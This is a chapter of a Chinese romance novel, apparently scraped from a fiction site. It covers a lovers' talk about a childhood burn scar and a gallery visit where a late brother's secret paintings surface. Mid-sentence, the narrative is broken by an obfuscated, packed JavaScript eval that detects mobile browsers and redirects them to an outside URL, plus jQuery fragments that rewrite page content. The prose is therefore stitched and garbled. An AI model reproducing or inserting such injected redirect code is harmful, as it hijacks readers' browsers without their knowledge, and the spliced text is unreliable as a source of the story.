16.chapter 16

作品:《安眠火山

    这一晚,两人终于“温故知新”。


    故,在于他们身体之间的契合程度竟并未因时间而疏离,反而在深入拥抱的那一刻,所有分离的时光顿时都如同碎成齑粉,飞散在旖旎缠绵的氛围中。


    新,是当两人耳鬓厮磨的时候,皆敏锐且清晰地在熟悉的触觉中察觉到了一丝陌生——与七年前相比,他们都更加成熟且有耐心了。


    也离彼此更加遥远了。


    明明紧紧相拥、亲密无间,却始终能感觉到一层无形的隔阂,里面填满了两人各自不愿宣之于口的心事与秘密。


    即使放纵,也是克制。


    一夜云雨后,两人冲完澡回到床上,空气中弥漫着沐浴后身体乳的淡淡柑橘香。


    借着室内暖黄色的壁灯灯光,郁央躺着,抬手有一下没一下地抚摸着男人的背肌,动作轻柔。


    在她纤长手指的装点下,那道年头已久的烫伤痕迹,竟也显得没那么可怖了。


    郁央盯着那处伤疤,只觉得形似一个火山岛,藏着她所不知道的炽热过往。她缓缓开口,带着贪欢后的慵懒:“你还从没告诉过我,你这伤疤怎么来的?”


    王屿正坐在床边,将刚才使用的“工具”收拾规整,一边答道:“小时候烫的。”


    郁央的手指绕着疤痕的边缘画了一圈:“这个位置在你后背,总不会是你自己烫的吧?”


    王屿背对着她,语气始终是淡淡的:“小朋友玩闹,没有分寸,有点小伤也很正常。”


    “可你明明白天才说过,你小时候很孤僻,没有朋友。”


    王屿的脊背僵了下,顿时也意识到自己说错话了。


    郁央撑着坐了起来,正色道:“王屿,你很少说谎的。”


    王屿说:“我只是觉得这个不重要,没必要说得那么细。”


    郁央直接问:“你这个,是长辈烫的吗?”


    这个位置的烫伤,从上往下造成的可能性更高


    沉默了半晌,王屿才承认了:“嗯。”


    “是在被接回西雅图之前?”


    王屿点了下头,沉声说:“那个人……不大喜欢我。”


    “为什么呀?”虽然没见过王屿小时候,但郁央大概想象了下对方儿时的样子,觉得他剑眉朗目的,缩小版一定也很可爱,怎么会有人不喜欢呢?


    连她祖父都对王屿青睐有加,还会有比她祖父还难搞的长辈?


    就听王屿长长地舒了口气:“她觉得我不应该存在吧。”


    郁央难以置信:“她怎么会这么想?那她烫伤你是故意的?”


    “应该还有其他原因,只是当时太小,我也理解不了。”


    郁央气愤起来:“再怎么样,也不能伤人,更何况你当时还是小孩。”


    闻言,王屿回过头看向她,灯光为他深邃的脸部轮廓镀上柔光。


    如果说他的肩膀如山峦,那么那双眼睛便群山原野中最幽深的沼泽。


    他说:“郁央,世上有很多恶意,是你不知道也理解不了的。很多事情,也不是非黑即白,那么能说清楚的。”


    郁央凝望着他。片刻,直起身体,捧住他的脸,然后轻轻地吻了泥沼间的高山。


    “我会知道的。”


    ……


    几天后,赵珞琪的画廊预展,邀请郁央参观。


    郁央从公司出发,穿了一件白色丝绸衬衣配蓝底细白条纹长裤,一身精干。


    她为赵珞琪订的铃兰花篮早已提前让人送去,同时手上还不忘捧一束鲜花。


    赵珞琪的画廊“呓语”是从家里继承的,从小赵珞琪就有艺术方面的偏向,高中的时候就经常在画廊里跟着学习策展了,早早扬言以后要接手画廊,做大做强。


    赵家不是专门做这一行业,画廊和拍卖行只是一条分支产业,因此之前并不太重视,直到赵珞琪接手后,“呓语”才真的发展起来,现在已经在全国各一线城市都开了分画廊,这两年赵珞琪还获评了国内最佳青年策展人及私人美术馆经营者。


    郁央刚到“呓语”,远远就看到了正在和员工交代事情的赵珞琪,只见她一身卡其色无袖连衣裙,卷发被挽起来,垂下来的发丝像是优雅的藤蔓,绽出无形的花儿。


    她依然是那么明艳,妆容精致,红唇靓丽,但在工作的时候,神情态度明显严肃许多,不像平素时那么嘻嘻哈哈。


    郁央含笑观察着好友,悄无声息的走近。


    画廊的员工率先注意到郁央的靠近,视线不受控制地扫过来。


    紧接着赵珞琪才看了过来,明显愣了下,吓了一跳,然后娇嗔:“安安!”


    郁央把鲜花递给她,微笑道:“预祝你展览顺利。”


    赵珞琪明知故问:“不是都送了一盆铃兰过来了吗?”


    郁央道:“你喜欢花,怎么送都不嫌多。”


    赵珞琪的笑容比怀中的鲜花还灿烂:“还是你最懂我!”


    一旁的员工很有眼力见地上前,想要帮赵珞琪把花束抱走,但赵珞琪却并没有放手的意思,而是对下属摆了摆手,示意对方离开。


    员工识趣地走开了。


    郁央见此,问:“不重吗?”


    “这都是安安的心意,我愿意抱着。”赵珞琪顿时没有了刚才工作时的样子,笑嘻嘻地说,“走吧,进去看看。”


    这次的展览主要作品都来自法国的一位油画艺术家——上个月中赵珞琪去国外出差,就是为了亲自和那位艺术家面对面地商讨最后的布展细节,以表诚意,然后回程的时候正好听说郁央要从南城回来了,选择了同一天抵达时间相近的航班。


    郁央对绘画兴趣平平,有一些入门知识,全是因为郁闻喜欢赏画,她跟着耳濡目染。


    当两人走到一件巨幅布面油画前时,赵珞琪突然开口宣布道:“安安,我和锦陆要结婚了。”


    郁央脚步一滞:“我知道,锦陆告诉我了,说定在了八月。”


    “准确地说,是八月十二日,是个良辰吉日。”赵珞琪看起来并不介意,“我就知道他肯定第一时间来找你了。”


    郁央说:“他让我不要做你的伴娘,我说我本来就做不了。”


    赵珞琪笑了下,骂道:“那个笨蛋。”


    郁央忍不住问:“珞琪,你真的想好了吗?”


    赵珞琪却是反问:“安安,在你的视角来看,是先有的婚约,还是先有的我喜欢周锦陆?”


    短暂思索了一下后,郁央答:“先有的喜欢?”


    在她的视角,时间线的顺序先是高中时发现赵珞琪喜欢周锦陆,然后才是两个人大学毕业后周赵两家定下婚约,看起来像是顺水推舟。


    却没想到赵珞琪却摇头:“不是的。早在高一的时候,我爸妈就和我说了联姻的事情,其实当时就和周家订下了口头婚约,只是锦陆不知道而已,而且没对外宣布,想着我们年龄还小,可能还会有变数。”


    这个超出了郁央的意料。


    赵珞琪语气轻快,径自说道:“我呢,是一个很能随遇而安的人,我很早就知道我以后肯定要走这条路的,珑城那么多公子哥,肮脏龌龊的不胜其数,那不如从中选一个知根知底、难得干净的,所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14494914|153320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以如果对象不是郁闻哥的话,是周锦陆也不错。”


    郁央更惊讶了,甚至还有些哭笑不得:“你居然真的在打我哥的主意。”


    “你哥是郁氏少东家,我哪里配得上呀,也就想想咯。”赵珞琪耸肩,然后坦白道,“小时候还是很喜欢的,懂事后知道不可能了,就收敛了,渐渐转变成了欣赏与憧憬吧。”


    郁央暗叹:居然还有这一条线。


    一切和她的认知不大相同,于是她不确定地问道:“高中时,我是感觉到了你很在意锦陆,所以那是喜欢吗?”


    赵珞琪说:“或许是吧。我对周锦陆是我未婚夫这一事实的接受速度比我想得都快,可能是本身就有好感,只是平时没注意,后来想到婚约这事,自然而然就会更亲近他,产生感情了。”


    “但锦陆显然没这样的接受能力。”


    “那是他的事。”赵珞琪平静地说,“他说着不愿意和我结婚,却并不敢为此和家里人闹翻,其实本身已经作出了选择,只是他自己闹情绪而已。”


    郁央由衷道:“珞琪,你很清醒。”


    赵珞琪笑了:“清醒的沉沦罢了,只是为了让我逆来顺受、循规蹈矩的时候不那么难受而已。但是,安安,你不仅很冷静理性,还很勇敢大胆,这一点是我从小都很佩服你的。”


    郁央自嘲道:“哪有你说的这么夸张,我不清醒不勇敢的时候,都没有让你们看到而已。”


    “那下次让我们看看吧。”


    “再说吧。”


    原本展览是按艺术家创作的阶段,分了四个展区。但当两人走到尽头的时候,郁央发现居然还有一个小展区。


    似乎是临时布置的,还有细节没有完成。这里摆放的作品依然以油画为主,风格却与前面几个展区的作品大不一样,纵使色彩鲜艳,却散发出一种阴郁的气质,明显是出自另外一个人之手。


    其中画幅最大的是一幅木板油画,画着的是一座海岛的火山爆发景象,火山口崩裂的熔岩红艳夺目,中间混着零星的冷色,是已经冷却发灰的岩浆。


    郁央正在疑惑着,抬眼就看到展板上的一处介绍,写着“郁闻先生作品展”几个大字,登时怔住了。


    赵珞琪等她发现后,才开始陈述:“不久前,画廊收到一批私人作品捐赠,是代存机构送来的,上面写的捐赠者,是郁闻哥。”


    郁央睫毛轻颤,眼眸睁大。


    赵珞琪像是预料到了她的反应,继续说道:“机构还转交了一封手写信,我打开了,确实是郁闻哥的笔迹,是他写给我的。他在开头写,按照时间算,这个时候我应该怎么都已经接手‘呓语’了,所以他在保守估计后选择了这个时间点,让代存机构按时捐赠过来,希望我能找一个角落展出这些作品,然后通知你来看。”


    郁央望着满墙的收藏,近乎喃喃地说:“我都不知道这件事,我以为家里的那些已经是全部……哥哥的信,我可以看吗?”


    “当然可以,但信的内容非常简短,在写了这个后,就只是又写了点客套的祝福,一页纸都不到。”


    郁央点头:“是他的风格。”


    简单又温柔,亲近又疏离。


    又听赵珞琪说:“收到这些藏品和这封信后,我既震惊又感动,正想和你说,就发现有点不对劲。”


    “什么不对劲?”郁央看向好友。


    赵珞琪与她对视,眼底是探究与疑惑:“郁闻哥去世七年了,信的落款就是他去世前一个月,他为什么要给这些画提前安排去处?”


    “安安,郁闻哥真的是意外去世的吗”